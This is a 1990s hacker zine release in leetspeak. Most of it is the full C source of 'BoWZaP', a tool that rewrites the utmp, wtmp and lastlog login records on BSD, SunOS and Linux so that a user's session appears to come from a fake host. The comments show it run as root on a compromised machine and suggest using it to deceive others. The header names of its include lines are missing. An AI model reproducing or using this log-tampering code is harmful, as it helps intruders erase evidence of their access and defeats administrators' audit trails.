______________________________________________________________________________ BoW BoW BoW BoW BoW Bo* *BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo| PHRESH WAREZ: BOWZ4P.C |BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo* by: The k0d3sl4y3r *BoW BoW BoW BoW BoW Bo ============================================================================== w0rd!@# smAk1tUp n1gl3tz, phr3$h w4r3z phr0m th3 K0D3SL4Y3R of BoW. 0nc3 4g41n BoW 1z th3r3 k0ur13r1ng th3 l8Zt & gr34t3zt w4r3z t0 0ur f41thpHul ph34r1ng r34d3r$h1p f1rZt!@$# ---kUt-h3r3---kUt-h3r3---kl1p-kl1p---z3r0-dAy---smAk-smAk---kUt-h3r3- /* * ____ __ __ __ __ * /\ _`\ /\ \ __/\ \ /\ \\ \ * \ \ \_\ \ ___\ \ \/\ \ \ \ ____ \ \ \\ \ _____ * \ \ _ <' / __`\ \ \ \ \ \ \/\_ ,`\\ \ \\ \_ /\ '__`\ * \ \ \_\ \/\ \_\ \ \ \_/ \_\ \/_/ /_\ \__ ,__\ \ \_\ \ * \ \____/\ \____/\ `\___x___/ /\____\\/_/\_\_/\ \ ,__/ * \/___/ \/___/ '\/__//__/ \/____/ \/_/ \ \ \/ * Ph34r BoW!@!#!@ www.velkro.net \ \_\ * \/_/ * * BoWZaP 1.0 - k-sp1ff h4qR tYp3 l0g ed1t0r ph0r 4.4BSD/SunOS4/Linux * * say u r l0gg3d 1nt0 cert.org as 'sp4f' on ttyp2 & want t0 b * m1sch13v0us.. u w0uld th3n d0: * * [sp4f@cert][~] % su - * Password: b0w-t13z * # ./BoWZaP sp4f justin.kalinas.home.machine ttyp2 * * 0r t0 ch4ng3 4ll 1nst4nc3z 0f sp4f jU$t l34v3 0ut th3 ttY argUm3nt.. * * u k4n alz0 uz3 1t t0 1mpr3$$ uR fr13ndz & tr1ck th3m 1nt0 g1v1ng * u k0d3z .. i.e. m4k3 1t l00k l1k3 uR 0n fr0m zang.com or s0m3th1ng, * th3n ppl w1ll l1k3 t0tally ph34r u & stUph. * * k0mp1l3 w/ [g]cc -O[2] -o BoWZaP BoWZaP.c [-DSUNOS] -s * * w0rd!@# * - K0d3S|aY3r [b4dd3r & k-r4dd3r th4n ev3r 1n '99] */ #include #include #include #include #include #ifdef SUNOS #include #define _PATH_UTMP "/etc/utmp" #define _PATH_WTMP "/var/adm/wtmp" #define _PATH_LASTLOG "/var/adm/lastlog" #endif int main(ac, av) int ac; char **av; { int fd; struct utmp ut; struct lastlog ll; struct passwd *pw; if(ac<3) { fprintf(stderr,"Usage: %s user fakehost [tty]\n",av[0]); exit(1); } if((pw=getpwnam(av[1])) < 1) { fprintf(stderr,"Not in /etc/passwd.\n"); exit(1); } if((fd=open(_PATH_UTMP,O_RDWR)) < 0) { fprintf(stderr,"Couldn't open %s\n",_PATH_UTMP); exit(1); } while(read(fd,&ut,sizeof(ut)) > 0) { if(!strncmp(ut.ut_name,av[1],strlen(av[1]))) { if(!av[3] || (av[3] && !strncmp(ut.ut_line,av[3],strlen(av[3])))) { memcpy(ut.ut_host, av[2], sizeof(ut.ut_host)); lseek(fd, (int)-sizeof(ut), SEEK_CUR); write(fd, &ut, sizeof(ut)); } } } close(fd); printf("%s successfully altered.\n", _PATH_UTMP); if((fd=open(_PATH_WTMP,O_RDWR)) < 0) { fprintf(stderr,"Couldn't open %s\n",_PATH_WTMP); exit(1); } lseek(fd,(long) -(sizeof(ut)), SEEK_END); while(read(fd,&ut,sizeof(ut)) > 0) { if(!strncmp(ut.ut_name,av[1],strlen(av[1]))) { if(!av[3] || (av[3] && !strncmp(ut.ut_line,av[3],strlen(av[3])))) { memcpy(ut.ut_host, av[2], sizeof(ut.ut_host)); lseek(fd, (int)-sizeof(ut), SEEK_CUR); write(fd, &ut, sizeof(ut)); break; } } lseek(fd, (long) -(sizeof(ut) * 2), SEEK_CUR); } close(fd); printf("%s successfully altered.\n",_PATH_WTMP); if((fd=open(_PATH_LASTLOG,O_RDWR)) < 0) { fprintf(stderr,"Couldn't open %s\n",_PATH_LASTLOG); exit(1); } lseek(fd, (long)pw->pw_uid * sizeof(struct lastlog), 0); memcpy(ll.ll_host,av[2],sizeof(ll.ll_host)); if(av[3]) { memcpy(ll.ll_line,av[3],sizeof(ll.ll_line)); } write(fd, (char *)&ll, sizeof(ll)); close(fd); printf("%s successfully altered.\n", _PATH_LASTLOG); } ---kUt-h3r3---kUt-h3r3---kl1p-kl1p---z3r0-dAy---smAk-smAk---kUt-h3r3-